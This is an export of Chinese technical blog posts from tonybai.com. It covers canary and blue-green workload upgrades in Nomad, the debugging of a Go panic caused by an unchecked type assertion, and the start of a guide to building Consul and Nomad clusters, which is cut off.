e43d2551 Status = running Description = Deployment is running but requires promotion Deployed Task Group Promoted Desired Canaries Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 false 3 1 1 1 0 2019-04-08T21:45:51+08:00 Allocations ID Node ID Task Group Version Desired Status Created Modified 73319890 7acdd7bc httpsbackend-sni-1 25 run running 2m24s ago 1m36s ago 40276d89 9e3ef19f httpsbackend-sni-1 24 run running 17m18s ago 16m33s ago 085a518e 7acdd7bc httpsbackend-sni-1 24 run running 18m11s ago 17m20s ago 4d678e67 c281658a httpsbackend-sni-1 24 run running 32m39s ago 18m11s ago 这个输出信息和之前的canary模式差别不大。但是从fabio路由表上我们看到如下信息：\nfabio单独为canary实例生成了一个新路由，以区别于老版本的三个实例的路由。\n开发人员单独测试canary实例时，可以通过下面方式注入流量:\n# curl -k https://canary.mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.3 而生产流量依旧流入老版本的实例中：\n# curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.2 # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.2 # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.2 canary实例经过测试验证后，同样可以通过promote完成对老版本的升级部署：\n# nomad deployment promote e43d2551 ==\u0026gt; Monitoring evaluation \u0026quot;34a67391\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation within deployment: \u0026quot;e43d2551\u0026quot; Allocation \u0026quot;193cbc2f\u0026quot; created: node \u0026quot;c281658a\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;34a67391\u0026quot; finished with status \u0026quot;complete\u0026quot; # nomad job status httpsbackend-sni-1 ID = httpsbackend-sni-1 Name = httpsbackend-sni-1 Submit Date = 2019-04-08T21:35:03+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpsbackend-sni-1 0 0 3 0 12 0 Latest Deployment ID = e43d2551 Status = successful Description = Deployment completed successfully Deployed Task Group Promoted Desired Canaries Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 true 3 1 3 3 0 2019-04-08T21:58:24+08:00 Allocations ID Node ID Task Group Version Desired Status Created Modified 528a75bd 7acdd7bc httpsbackend-sni-1 25 run running 51s ago 10s ago 193cbc2f c281658a httpsbackend-sni-1 25 run running 1m39s ago 52s ago 73319890 7acdd7bc httpsbackend-sni-1 25 run running 13m31s ago 1m39s ago 40276d89 9e3ef19f httpsbackend-sni-1 24 stop complete 28m25s ago 50s ago 085a518e 7acdd7bc httpsbackend-sni-1 24 stop complete 29m18s ago 1m38s ago 4d678e67 c281658a httpsbackend-sni-1 24 stop complete 43m46s ago 1m39s ago 同时，canary实例在fabiolb上的路由也会自动删除掉。canary_tags在promote后将不再起作用，fabio使用的是tags。\n# curl -k https://canary.mysite-sni-1.com:9996/ curl: (35) gnutls_handshake() failed: The TLS connection was non-properly terminated. # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.3 # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.3 # curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.3 四. 蓝绿部署(blue-green deployment) 下面的蓝绿部署模式的示意图同样来自blog.itaysk.com：\n与之前的滚动更新、金丝雀部署不同的是，蓝绿部署需要“两套”环境，通过路由指向来切换流量究竟经过哪套环境。\n但是在nomad官方关于blue-green部署的例子中，nomad实际只维护了一套环境，并且例子中是利用nomad的canary机制来实现的蓝绿部署。这种实现方式并非严格遵循“蓝绿部署”的公认的定义。\n但nomad官方对于blue-green部署的理解似乎仅限如此。我们也来看一下nomad的这种“全量金丝雀”的蓝绿方案：\n我们创建httpsbackend-tcp-sni-1-blue-green.nomad文件，重点内容差异如下：\n# diff httpsbackend-tcp-sni-1-blue-green.nomad httpsbackend-tcp-sni-1-canary-1.nomad 18c18 \u0026lt; canary = 3 --- \u0026gt; canary = 1 24c24 \u0026lt; image = \u0026quot;bigwhite/httpsbackendservice:v1.0.4\u0026quot; --- \u0026gt; image = \u0026quot;bigwhite/httpsbackendservice:v1.0.2\u0026quot; 我们看到这里canary = 3，与count值相同，这也是将其称为“全量金丝雀”的原因。\n使用该文件部署新版本实例：\n# nomad job run httpsbackend-tcp-sni-1-blue-green.nomad ==\u0026gt; Monitoring evaluation \u0026quot;7a5074f3\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation within deployment: \u0026quot;3c8740f2\u0026quot; Allocation \u0026quot;338ee344\u0026quot; created: node \u0026quot;c281658a\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Allocation \u0026quot;3dec73d2\u0026quot; created: node \u0026quot;9e3ef19f\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Allocation \u0026quot;e6975673\u0026quot; created: node \u0026quot;9e3ef19f\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;7a5074f3\u0026quot; finished with status \u0026quot;complete\u0026quot; # nomad job status httpsbackend-sni-1 ID = httpsbackend-sni-1 Name = httpsbackend-sni-1 Submit Date = 2019-04-09T13:38:49+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpsbackend-sni-1 0 0 6 0 12 0 Latest Deployment ID = 3c8740f2 Status = running Description = Deployment is running but requires promotion Deployed Task Group Promoted Desired Canaries Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 false 3 3 3 3 0 2019-04-09T13:49:41+08:00 Allocations ID Node ID Task Group Version Desired Status Created Modified 338ee344 c281658a httpsbackend-sni-1 26 run running 57s ago 5s ago 3dec73d2 9e3ef19f httpsbackend-sni-1 26 run running 57s ago 11s ago e6975673 9e3ef19f httpsbackend-sni-1 26 run running 57s ago 10s ago 528a75bd 7acdd7bc httpsbackend-sni-1 25 run running 15h52m ago 15h51m ago 193cbc2f c281658a httpsbackend-sni-1 25 run running 15h52m ago 15h52m ago 73319890 7acdd7bc httpsbackend-sni-1 25 run running 16h4m ago 15h52m ago 部署ok后，6个实例共同接收生产流量。当然我们也可以通过canary_tags为新的部署设定不同路由，选择哪一种要看部署新实例后打算对新实例如何进行测试。\n测试验证ok后，像canary deployment一样，通过promote命令用新版本替换老版本。\n# nomad deployment promote 3c8740f2 ==\u0026gt; Monitoring evaluation \u0026quot;fad3a69b\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation within deployment: \u0026quot;3c8740f2\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;fad3a69b\u0026quot; finished with status \u0026quot;complete\u0026quot; # nomad job status httpsbackend-sni-1 ID = httpsbackend-sni-1 Name = httpsbackend-sni-1 Submit Date = 2019-04-09T13:38:49+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpsbackend-sni-1 0 0 3 0 15 0 Latest Deployment ID = 3c8740f2 Status = successful Description = Deployment completed successfully Deployed Task Group Promoted Desired Canaries Placed Healthy Unhealthy Progress Deadline httpsbackend-sni-1 true 3 3 3 3 0 2019-04-09T13:49:41+08:00 Allocations ID Node ID Task Group Version Desired Status Created Modified 338ee344 c281658a httpsbackend-sni-1 26 run running 4m43s ago 15s ago 3dec73d2 9e3ef19f httpsbackend-sni-1 26 run running 4m43s ago 15s ago e6975673 9e3ef19f httpsbackend-sni-1 26 run running 4m43s ago 15s ago 528a75bd 7acdd7bc httpsbackend-sni-1 25 stop complete 15h55m ago 14s ago 193cbc2f c281658a httpsbackend-sni-1 25 stop complete 15h56m ago 15s ago 73319890 7acdd7bc httpsbackend-sni-1 25 stop complete 16h8m ago 14s ago 测试结果：\n# curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.4 如果要快速切换回原来的版本，可以使用：\nnomad job revert httpsbackend-sni-1 {old_allocation_version} 五. 其他 本文涉及到的nomad job文件源码可在这里下载。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/04/09/upgrade-workload-using-nomad/","summary":"\u003cp\u003e书接\u003ca href=\"https://tonybai.com/2019/03/30/cluster-management-and-microservice-deployment-and-scheduled-by-nomad/\"\u003e上文\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2019/03/30/cluster-management-and-microservice-deployment-and-scheduled-by-nomad/\"\u003e《使用nomad实现集群管理和微服务部署调度》\u003c/a\u003e一文中，我们介绍了使用nomad进行集群管理和工作负载调度的轻量级方案（相较于\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes方案\u003c/a\u003e）。在本文中，我们继续对方案进行延展，介绍一下在nomad集群中工作负载版本升级的一些常用模式和实现方法，包括\u003ca href=\"https://en.wikipedia.org/wiki/Rolling_release\"\u003e滚动升级\u003c/a\u003e、\u003ca href=\"https://www.martinfowler.com/bliki/BlueGreenDeployment.html\"\u003e蓝绿部署\u003c/a\u003e和\u003ca href=\"https://martinfowler.com/bliki/CanaryRelease.html\"\u003e金丝雀部署\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"一-初始状态\"\u003e一. 初始状态\u003c/h2\u003e\n\u003cp\u003e这里我们利用基于tcp+sni路由(listener端口为9996)的httpsbackend-sni-1的job作为演示job，该job的初始部署nomad job文件为：\u003ca href=\"https://github.com/bigwhite/experiments/blob/master/nomad-demo/part1/jobs/httpsbackend-tcp-sni-1.nomad\"\u003ehttpsbackend-tcp-sni-1.nomad\u003c/a\u003e (注：不同的是，这里将count初始值改为了3)。\u003c/p\u003e","title":"使用nomad实现工作负载版本升级"},{"content":"一. Panic问题概述 本周收到客户在bugclose上填写的一个issue：添加一个下发通道后，pushd程序panic并退出了！程序panic时输出的stacktrace信息摘录如下：\npanic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x8ca449] goroutine 266900 [running]: pkg.tonybai.com/smspush/vendor/github.com/bigwhite/gocmpp.(*Client).Connect(0xc42040c7f0, 0xc4203d29c0, 0x11, 0xc420423256, 0x6, 0xc420423260, 0x8, 0x37e11d600, 0x0, 0x0) /root/.go/src/pkg.tonybai.com/smspush/vendor/github.com/bigwhite/gocmpp/client.go:79 +0x239 pkg.tonybai.com/smspush/pkg/pushd/pusher.cmpp2Login(0xc4203d29c0, 0x11, 0xc420423256, 0x6, 0xc420423260, 0x8, 0x37e11d600, 0xc4203d29c0, 0x11, 0x73) /root/.go/src/pkg.tonybai.com/smspush/pkg/pushd/pusher/cmpp2_handler.go:25 +0x9a pkg.tonybai.com/smspush/pkg/pushd/pusher.newCMPP2Loop(0xc42071f800, 0x4, 0xaaecd8) /root/.go/src/pkg.tonybai.com/smspush/pkg/pushd/pusher/cmpp2_handler.go:65 +0x226 pkg.tonybai.com/smspush/pkg/pushd/pusher.(*tchanSession).Run(0xc42071f800, 0xaba7c3, 0x17) /root/.go/src/pkg.tonybai.com/smspush/pkg/pushd/pusher/session.go:52 +0x98 pkg.tonybai.com/smspush/pkg/pushd/pusher.(*gateway).addSession.func1(0xc4200881a0, 0xc42071f800, 0xc42040c700) /root/.go/src/pkg.tonybai.com/smspush/pkg/pushd/pusher/gateway.go:61 +0x11e created by pkg.tonybai.com/smspush/pkg/pushd/pusher.(*gateway).addSession /root/.go/src/pkg.tonybai.com/smspush/pkg/pushd/pusher/gateway.go:58 +0x350 印象中近大半年用Go写的程序，遇到panic情况不多。上一次是因为原生map变量的并发访问导致的panic，那次panic一眼就看到问题所在了。但这次又是因为啥呢？\n二. 分析和debug过程 这个问题在印象中似乎出现过，不过由于当初没有复现，客户环境中又没有panic信息提供，那时没能定位和解决，后来问题并没有出现，显然这个问题是有一定“随机属性”。\n对于panic，我们首先检查直接导致panic发生的那一行代码：\n/root/.go/src/pkg.tonybai.com/smspush/vendor/github.com/bigwhite/gocmpp/client.go:79 +0x239 下面是client.go 79行周围的代码片段：\n也许是疏忽大意，当时瞅了一眼后，就断定这块没有问题（更多从业务协议层面考虑），这也直接导致后面绕了一个大圈子才查到”真凶”。如果您还没看出来问题，那继续往下看。\n定式思维让我认为很可能是函数栈中的内存问题，于是我开始调查panic输出的函数调用栈中参数是否正确。\n要想知道函数调用栈中参数传递是否有问题，先要知晓panic后输出的栈帧信息都是什么！比如下面panic dump信息中参数中的各种magic number都代表什么！\ngocmpp.(*Client).Connect(0xc42040c7f0, 0xc4203d29c0, 0x11, 0xc420423256, 0x6, 0xc420423260, 0x8, 0x37e11d600, 0x0, 0x0) pusher.cmpp2Login(0xc4203d29c0, 0x11, 0xc420423256, 0x6, 0xc420423260, 0x8, 0x37e11d600, 0xc4203d29c0, 0x11, 0x73) pusher.newCMPP2Loop(0xc42071f800, 0x4, 0xaaecd8) 在Joe Shaw的《Understanding Go panic output》和William Kennedy的《Stack Traces In Go》中有针对Stack trace输出信息的解析。关于Stack trace输出信息的识别，总体遵循几个要点：\nstack trace中每个函数/方法后面的“参数数值”个数与函数/方法原型的参数个数不是一一对应的；\nstack trace中每个函数/方法后面的“参数数值”是按照函数/方法原型参数列表中从左到右的参数类型的内存布局逐一展开的; 每个数值占用一个word(64位平台下面为8字节)\n如果是method，则第一个参数是receiver自身。如果reciever是指针类型，则第一个参数数值就是一个指针地址；如果是非指针的实例，则stack trace会按照其内存布局输出；\n函数/方法返回值放在stack trace的“参数数值”列表的后面；如果有多个返回值，则同样按从左到右顺序，按照返回值类型的内存布局输出；\n指针类型参数：占用stack trace的“参数数值”列表的1个位置；数值表示指针值，也是指针指向的对象的地址；\nstring类型参数：由于string在内存中由两个字(word)表示，第一个字是数据指针，第二个字是string的长度，因此在stack trace的“参数数值”列表中将占用两个位置；\nslice类型参数：由于slice类型在内存中由三个字表示，第一个word是数据指针，第二个word是len，第三个字是cap，因此在stack trace的“参数数值”列表中将占用三个位置；\n内建整型(int,rune,byte)：由于按word逐个输出，对于类型长度不足一个Word的参数，会做合并处理；比如：一个函数有5个int16类型的参数，那么在stack trace的信息中，这5个参数将占用stack trace的“参数数值”列表中的两个位置；第一个位置是前4个参数的“合体”，第二个位置则是最后那个int16类型的参数值。\nstruct类型参数: 会按照struct中字段的内存布局顺序在stack trace中展开。\ninterface类型参数：由于interface类型在内存中由两部分组成，一部分是接口类型的参数指针，一部分是接口值的参数指针，因此interface类型参数将用stack trace的“参数数值”列表中的两个位置。\nstack trace输出的信息是在函数调用过程中的“快照”信息，因此一些输出数值看似不合理，但是由于其并不是最终值，所以问题不一定发生在这些参数身上，比如：返回值参数。\n结合上面要点、函数/方法原型以及stack trace的输出，我们来“定位”一下stack trace输出的各个“参数”的含义：\ncmpp2Login和Connect的原型以及调用关系如下：\nfunc cmpp2Login(dstAddr, user, password string, connectTimeout time.Duration) (*cmpp.Client, error) func (cli *Client) Connect(servAddr, user, password string, timeout time.Duration) error func cmpp2Login(dstAddr, user, password string, connectTimeout time.Duration) (*cmpp.Client, error) { c := cmpp.NewClient(cmpp.V21) return c, c.Connect(dstAddr, user, password, connectTimeout) } 对照后，我们得出下面对应关系：\npusher.cmpp2Login( 0xc4203d29c0, // dstAddr的data pointer 0x11, // dstAddr string的length 0xc420423256, // user 的data pointer 0x6, // user string的length 0xc420423260, // password的data pointer 0x8, // password string的length 0x37e11d600, // connectTimeout 0xc4203d29c0, // 返回值：Client的指针 0x11, // 返回值：error接口的type pointer 0x73) // 返回值：error接口的data pointer gocmpp.(*Client).Connect( 0xc42040c7f0, //cli的指针 0xc4203d29c0, //servAddr string的data pointer 0x11, //servAddr string的 length 0xc420423256, // user string的data pointer 0x6, // user string的length 0xc420423260, // password的data pointer 0x8, // password string的length 0x37e11d600, // timeout 0x0, // 返回值：error接口的type pointer 0x0) // 返回值：error接口的data pointer 在这里，cmpp2Login的dstAddr、user、password、connectTimeout这些输入参数值都非常正常；看起来不正常的两个返回值在栈帧中的值其实意义不大，因为connect没有返回，所以这些值处于“非最终态”；而Connect执行到第79行panic，因此其返回值error的两个值也是处于“中间状态”。\n这样一来，似乎没有参数是错误的！\n三. 回到起点，捉住“真凶” 在反复查看代码和对比stack trace的参数列表后，依然没有找到蛛丝马迹。遂决定平复心情，从头再来，回到起点！\nvar ok bool var status uint8 if cli.typ == V20 || cli.typ == V21 { var rsp *Cmpp2ConnRspPkt rsp, ok = p.(*Cmpp2ConnRspPkt) status = rsp.Status } else { var rsp *Cmpp3ConnRspPkt rsp, ok = p.(*Cmpp3ConnRspPkt) status = uint8(rsp.Status) \u0026lt;------ 79行 } if !ok { err = ErrRespNotMatch return err } 又反复看了这段代码！程序正常执行时都是经过这段代码的，都是正常的。为何随机爆出panic呢？79行如果要panic，显然是rsp为nil或其他非法地址。但rsp是由p进行type assertion而来的！难道是type assertion失败了！！！\n从正常业务流程来看，这里是不会失败的！这也是当初这里没有立即检查ok这个bool值的原因。但是特殊情况下，也就是当tcp连接建立后，conn包发出后，对方未必返回是conn response包，很可能是其他包回来（比如active test），这样就会导致这块的type assertion失败！这也与这个问题随机发生的情况吻合！\n而且当初保留了“ok”，而不是用”_”代替，说明设计思路中是存在返回的包不是conn response包的情况。看来是当初coding时逻辑混乱了:(\n这就是问题所在了！教训：type assertion后一定要在检查ok这个bool值之后再决定是否使用assertion之后的变量。\n四. 其他 借着这个问题的解决过程，再多说一句 stacktrace。在Go 1.11及以后版本中，go compiler做了更深入的优化，很多“简单”的函数或方法会被自动inline(内联)了，函数一旦内联化了，那么在stack trace中我们就无法看到栈帧信息了，就会看到如下在栈帧信息中存在省略号的情况：\n$go run stacktrace.go panic: panic in foo goroutine 1 [running]: main.(*Y).foo(...) /Users/tony/test/go/stacktrace/stacktrace2.go:32 main.main() /Users/tony/test/go/stacktrace/stacktrace.go:51 +0x39 exit status 2 可以使用-gcflags=”-l”来告诉编译器不要inline。至于是否要这么做，就要看debug和性能之间您是如何权衡的了。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/04/04/notes-about-fixing-a-go-panic-problem/","summary":"\u003ch2 id=\"一-panic问题概述\"\u003e一. Panic问题概述\u003c/h2\u003e\n\u003cp\u003e本周收到客户在bugclose上填写的一个issue：添加一个下发通道后，pushd程序panic并退出了！程序panic时输出的stacktrace信息摘录如下：\u003c/p\u003e","title":"记一次go panic问题的解决过程"},{"content":"在“云原生”、“容器化”、“微服务”、“服务网格”等概念大行其道的今天，一提到集群管理、容器工作负载调度，人们首先想到的是Kubernetes。\nKubernetes经过多年的发展，目前已经成为了云原生计算平台的事实标准，得到了诸如谷歌、微软、红帽、亚马逊、IBM、阿里等大厂的大力支持，各大云计算提供商也都提供了专属Kubernetes集群服务。开发人员可以一键在这些大厂的云上创建k8s集群。对于那些不愿被cloud provider绑定的组织或开发人员，Kubernetes也提供了诸如Kubeadm这样的k8s集群引导工具，帮助大家在裸金属机器上搭建自己的k8s集群，当然这样做的门槛较高（如果您想学习自己搭建和管理k8s集群，可以参考我在慕课网上发布的实战课《高可用集群搭建、配置、运维与应用》）。\nKubernetes的学习曲线是公认的较高，尤其是对于应用开发人员。再加上Kubernetes发展很快，越来越多的概念和功能加入到k8s技术栈，这让人们不得不考虑建立和维护这样一套集群所要付出的成本。人们也在考虑是否所有场景都需要部署一个k8s集群，是否有轻量级的且能满足自身需求的集群管理和微服务部署调度方案呢？外国朋友Matthias Endler就在其文章《也许你不需要Kubernetes》中给出一个轻量级的集群管理方案 – 使用hashicorp开源的nomad工具。\n这让我想起了去年写的《基于consul实现微服务的服务发现和负载均衡》一文。文中虽然实现了基于consul的服务注册、发现以及负载均衡，但是缺少一个环节：那就是整个集群管理以及工作负载部署调度自动化的缺乏。nomad应该恰好可以补足这一短板，并且它足够轻量。本文我们就来探索和实践一下使用nomad实现集群管理和微服务部署调度。\n一. 安装nomad集群 nomad是Hashicorp公司出品的集群管理和工作负荷调度器，支持多种驱动形式的工作负载调度，包括Docker容器、虚拟机、原生可执行程序等，并支持跨数据中心调度。Nomad不负责服务发现或密钥管理等 ，它将这些功能分别留给了HashiCorp的Consul和Vault。HashiCorp的创始人认为，这会使得Nomad更为轻量级，调度性能更高。\nnomad使用Go语言实现，因此其本身仅仅是一个可执行的二进制文件。和Hashicorp其他工具产品(诸如：consul等)类似，nomad一个可执行文件既可以以server模式运行，亦可以client模式运行，甚至可以启动一个实例，既是server，也是client。\n下面是nomad集群的架构图(来自hashicorp官方）:\n一个nomad集群至少要包含一个server，作为集群的控制平面；一个或多个client则用于承载工作负荷。通常生产环境nomad集群的控制平面至少要有5个及以上的server才能在高可用上有一定保证。\n建立一个nomad集群有多种方法，包括手工建立、基于consul自动建立和基于云自动建立。考虑到后续涉及微服务的注册发现，这里我们采用基于consul自动建立nomad集群的方法，下面是部署示意图：\n我这里的试验环境仅有三台hosts，因此这三台host既承载consul集群，也承载nomad集群（包括server和client），即nomad的控制平面和工作负荷由这三台host一并承担了。\n1. consul集群启动 在之前的《基于consul实现微服务的服务发现和负载均衡》一文中，我对consul集群的建立做过详细地说明，因此这里只列出步骤，不详细解释了。注意：这次consul的版本升级到了consul v1.4.4了。\n在每个node上分别下载consul 1.4.4：\n# wget -c https://releases.hashicorp.com/consul/1.4.4/consul_1.4.4_linux_amd64.zip # unzip consul_1.4.4_linux_amd64.zip # cp consul /usr/local/bin # consul -v Consul v1.4.4 Protocol 2 spoken by default, understands 2 to 3 (agent will automatically use protocol \u0026gt;2 when speaking to compatible agents) 启动consul集群：(每个node上创建~/.bin/consul-install目录，并进入该目录下执行)\ndxnode1: # nohup consul agent -server -ui -dns-port=53 -bootstrap-expect=3 -data-dir=~/.bin/consul-install/consul-data -node=consul-1 -client=0.0.0.0 -bind=172.16.66.102 -datacenter=dc1 \u0026gt; consul-1.log \u0026amp; 2\u0026gt;\u0026amp;1 dxnode2: # nohup consul agent -server -ui -dns-port=53 -bootstrap-expect=3 -data-dir=/root/consul-install/consul-data -node=consul-2 -client=0.0.0.0 -bind=172.16.66.103 -datacenter=dc1 -join 172.16.66.102 \u0026gt; consul-2.log \u0026amp; 2\u0026gt;\u0026amp;1 dxnode3: nohup consul agent -server -ui -dns-port=53 -bootstrap-expect=3 -data-dir=/root/consul-install/consul-data -node=consul-3 -client=0.0.0.0 -bind=172.16.66.104 -datacenter=dc1 -join 172.16.66.102 \u0026gt; consul-3.log \u0026amp; 2\u0026gt;\u0026amp;1 consul集群启动结果查看如下：\n# consul members Node Address Status Type Build Protocol DC Segment consul-1 172.16.66.102:8301 alive server 1.4.4 2 dc1 \u0026lt;all\u0026gt; consul-2 172.16.66.103:8301 alive server 1.4.4 2 dc1 \u0026lt;all\u0026gt; consul-3 172.16.66.104:8301 alive server 1.4.4 2 dc1 \u0026lt;all\u0026gt; # consul operator raft list-peers Node ID Address State Voter RaftProtocol consul-3 d048e55b-5f6a-34a4-784c-e6607db0e89e 172.16.66.104:8300 leader true 3 consul-1 160a7a20-f177-d2f5-0765-e6d1a9a1a9a4 172.16.66.102:8300 follower true 3 consul-2 6795cd2c-fad5-9d4f-2531-13b0a65e0893 172.16.66.103:8300 follower true 3 2. DNS设置（可选） 如果采用基于consul DNS的方式进行服务发现，那么在每个nomad client node上设置DNS则很必要。否则如果要是基于consul service catalog的API去查找service，则可忽略这个步骤。设置步骤如下：\n在每个node上，创建和编辑/etc/resolvconf/resolv.conf.d/base，填入如下内容：\nnameserver {consul-1-ip} nameserver {consul-2-ip} 然后重启resolvconf服务:\n# /etc/init.d/resolvconf restart [ ok ] Restarting resolvconf (via systemctl): resolvconf.service. 新的resolv.conf将变成：\n# cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver {consul-1-ip} nameserver {consul-2-ip} nameserver 100.100.2.136 nameserver 100.100.2.138 options timeout:2 attempts:3 rotate single-request-reopen 这样无论是在host上，还是在新启动的container里就都可以访问到xx.xx.consul域名的服务了：\n# ping -c 3 consul.service.dc1.consul PING consul.service.dc1.consul (172.16.66.103) 56(84) bytes of data. 64 bytes from 172.16.66.103: icmp_seq=1 ttl=64 time=0.227 ms 64 bytes from 172.16.66.103: icmp_seq=2 ttl=64 time=0.158 ms ^C --- consul.service.dc1.consul ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 999ms rtt min/avg/max/mdev = 0.158/0.192/0.227/0.037 ms # docker run busybox ping -c 3 consul.service.dc1.consul PING consul.service.dc1.consul (172.16.66.104): 56 data bytes 64 bytes from 172.16.66.104: seq=0 ttl=64 time=0.067 ms 64 bytes from 172.16.66.104: seq=1 ttl=64 time=0.061 ms 64 bytes from 172.16.66.104: seq=2 ttl=64 time=0.076 ms --- consul.service.dc1.consul ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.061/0.068/0.076 ms 3. 基于consul集群引导启动nomad集群 按照之前的拓扑图，我们需先在每个node上分别下载nomad：\n# wget -c https://releases.hashicorp.com/nomad/0.8.7/nomad_0.8.7_linux_amd64.zip # unzip nomad_0.8.7_linux_amd64.zip.zip # cp ./nomad /usr/local/bin # nomad -v Nomad v0.8.7 (21a2d93eecf018ad2209a5eab6aae6c359267933+CHANGES) 我们已经建立了consul集群，因为我们将采用基于consul集群引导启动nomad集群这一创建nomad集群的最Easy方式。同时，我们每个node上既要运行nomad server，也要nomad client，于是我们在nomad的配置文件中，对server和client都设置为”enabled = true”。下面是nomad启动的配置文件，每个node上的nomad均将该配置文件作为为输入：\n// agent.hcl data_dir = \u0026quot;/root/.bin/nomad-install/nomad.d\u0026quot; server { enabled = true bootstrap_expect = 3 } client { enabled = true } 下面是在各个节点上启动nomad的操作步骤：\ndxnode1: # nohup nomad agent -config=/root/.bin/nomad-install/agent.hcl \u0026gt; nomad-1.log \u0026amp; 2\u0026gt;\u0026amp;1 dxnode2: # nohup nomad agent -config=/root/.bin/nomad-install/agent.hcl \u0026gt; nomad-2.log \u0026amp; 2\u0026gt;\u0026amp;1 dxnode3: # nohup nomad agent -config=/root/.bin/nomad-install/agent.hcl \u0026gt; nomad-3.log \u0026amp; 2\u0026gt;\u0026amp;1 查看nomad集群的启动结果：\n# nomad server members Name Address Port Status Leader Protocol Build Datacenter Region dxnode1.global 172.16.66.102 4648 alive true 2 0.8.7 dc1 global dxnode2.global 172.16.66.103 4648 alive false 2 0.8.7 dc1 global dxnode3.global 172.16.66.104 4648 alive false 2 0.8.7 dc1 global # nomad operator raft list-peers Node ID Address State Voter RaftProtocol dxnode1.global 172.16.66.102:4647 172.16.66.102:4647 leader true 2 dxnode2.global 172.16.66.103:4647 172.16.66.103:4647 follower true 2 dxnode3.global 172.16.66.104:4647 172.16.66.104:4647 follower true 2 # nomad node-status ID DC Name Class Drain Eligibility Status 7acdd7bc dc1 dxnode1 \u0026lt;none\u0026gt; false eligible ready c281658a dc1 dxnode3 \u0026lt;none\u0026gt; false eligible ready 9e3ef19f dc1 dxnode2 \u0026lt;none\u0026gt; false eligible ready 以上这些命令的结果都显示nomad集群工作正常！\nnomad还提供一个ui界面（http://nomad-node-ip:4646/ui），可以让运维人员以可视化的方式直观看到当前nomad集群的状态，包括server、clients、工作负载(job)的情况：\nnomad ui首页\nnomad server列表和状态\nnomad client列表和状态\n二. 部署工作负载 引导启动成功nomad集群后，我们接下来就要向集群中添加“工作负载”了。\n在Kubernetes中，我们可以通过创建deployment、pod等向集群添加工作负载；在nomad中我们也可以通过类似的声明式的方法向nomad集群添加工作负载。不过nomad相对简单许多，它仅提供了一种名为job的抽象，并给出了job的specification。nomad集群所有关于工作负载的操作均通过job描述文件和nomad 